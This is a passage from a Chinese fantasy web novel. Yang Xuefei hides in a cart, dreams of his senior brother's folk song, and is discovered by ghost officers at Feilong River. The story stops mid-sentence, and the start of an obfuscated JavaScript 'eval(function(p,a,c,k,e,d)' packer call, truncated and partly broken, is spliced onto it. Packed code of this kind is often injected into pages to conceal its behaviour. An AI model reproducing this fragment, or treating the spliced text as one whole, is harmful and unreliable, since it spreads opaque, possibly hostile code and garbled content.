丢下冰锥,一手抓着车板,一手紧紧地抱住了自己的膝盖,生怕自己颠出动静来。
车行出不过数里,他就开始感到头晕目眩。
离开冰窖,外头的热气便熏了进来。
兴许是蛇毒的缘故,他五脏六腑如同在自戕自灭一般拧成一团,冻坏了的皮肤又分不清冷热,伤处开始一边冒血,一边滋滋发痒。
杨雪飞紧紧地闭着眼睛,不敢弄出半点动静,也不敢就此昏过去。
然而一晃一晃之间,他大脑晕沉沉,总觉如坠幻境,又回到了那个和师兄缠绵的梦里。
师兄抱着他时,也是一晃一晃地哄他,用他故乡的南地方言,唱着其他同门都瞧不起的歌谣:
“瓣瓣风里飘,轻轻水上漂,花落春泥里,来年抱新梢。
片片风里落,远远水下流,花去无痕迹,谁来抱新梢?
谁来抱新梢……谁来抱新梢?”
歌声渐渐隐去。他听到三师兄林玉苍的嘲笑声:“我刚刚怎么听到有人在唱山歌?大师兄,你还会这个?”
“我不会。”陈启风的声音非常遥远,好像有点尴尬,“雪飞才会。雪飞,你再唱一个?”
杨雪飞不记得自己是怎么答复的,梦境变幻间,他看见了自己脖子上架着的剑。
他没太注意这把剑和举着它的人,只是担忧地看着师兄一边仰天长啸,一边血泪横流,那招痛绝哀绝的剑法他从前从未见过。
锵啷一声响,他猛地清醒了过来。
原来是车停了下来。
从一旁湍急的水声判断,此处应该就是飞龙川。
两个鬼差正在用传声符联络同伴。
杨雪飞在清醒过来的一瞬就发出了一声轻咳。
“什么人?”鬼差立刻叫道,拔剑便向柴垛中刺去。
杨雪飞无
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(